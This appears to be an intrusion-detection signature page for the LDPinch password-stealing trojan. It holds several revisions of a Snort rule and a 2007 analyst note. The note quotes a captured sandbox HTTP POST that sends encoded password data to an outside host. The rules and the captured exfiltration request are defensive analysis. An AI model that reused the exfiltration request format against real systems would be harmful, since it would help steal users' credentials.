alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN PWS-LDPinch posting data"; flow:established,to_server; dsize:>400; content:"POST "; depth:5; content:"|0d 0a 0d 0a|a="; nocase; content:"&b="; nocase; within:10; content:"&d="; nocase; within:20; content:".bin&"; nocase; within:30; content:"u="; nocase; within:10; content:"&c="; nocase; within:20; classtype:trojan-activity; sid:2006385; rev:2;)

Added 2008-01-31 10:12:23 UTC

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN PWS-LDPinch posting data"; flow:established,to_server; dsize:>400; content:"POST "; depth:5; content:"|0d 0a 0d 0a|a="; nocase; content:"&b="; nocase; within:10; content:"&d="; nocase; within:20; content:".bin&"; nocase; within:30; content:"u="; nocase; within:10; content:"&c="; nocase; within:20; classtype:trojan-activity; sid:2006385; rev:2;)

Added 2008-01-31 10:12:23 UTC

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"BLEEDING-EDGE TROJAN PWS-LDPinch posting data"; flow:established,to_server; dsize:>400; content:"POST "; depth:5; content:"|0d 0a 0d 0a|a="; nocase; content:"&b="; nocase; within:10; content:"&d="; nocase; within:20; content:".bin&"; nocase; within:30; content:"u="; nocase; within:10; content:"&c="; nocase; within:20; classtype:trojan-activity; sid:2006385; rev:1;)

Added 2007-07-09 04:12:42 UTC

POST /pg/count.php HTTP/1.0 Host: simocrogger.ws Content-Type: application/x-www-form-urlencoded Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath?.2; .NET CLR 2.0.50727; InfoPath?.1) Content-Length: 2882

a=com&b=Rep&d=_Pass.bin&u=&c=Qk02IJ8fAABBUDMyGAAAAM8HAAB3ljwPnx8AABsXLy1QHDNNTDED+R2cCBEpARgICQ0t4jYF ZsEaVhIyFBAj1QePBwQMCBXgNuAu4LvgE6YcU6QEIgNxNRsyNzR2mzCjMcM4nhzt8DIz8efe? Yc8CQX8?/IjBwMYwA1q9QTKwKyY8e/RvBTgHxEMB2FDJGW2hYxAF8GjU4NIwYDAwFwwhsEaWf BgEQaBpmAd4HioW0wBQIxgQJFe2oARzMHAlXAGluZG93cyBYc1B4SD90Zj14Pi0US0K5MjMC? ObEqD5QJMr8YNDECNy7wOfflNdKVQ240szkz10PdO0HVOLyQqTND?... (Cut)

Some intersting info from a captured sandnet packet. The following sig ought to catch these:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"BLEEDING-EDGE TROJAN PWS-LDPinch posting data"; flow:established,to_server; dsize:>400; content:"POST "; depth:5; content:"|0d 0a 0d 0a|a="; nocase; content:"&b="; nocase; within:10; content:"&d="; nocase; within:20; content:".bin&"; nocase; within:30; content:"u="; nocase; within:10; content:"&c="; nocase; within:20; classtype:trojan-activity; sid:2006385; rev:1;)

Please report issues!

Matt

-- MattJonkman - 09 Jul 2007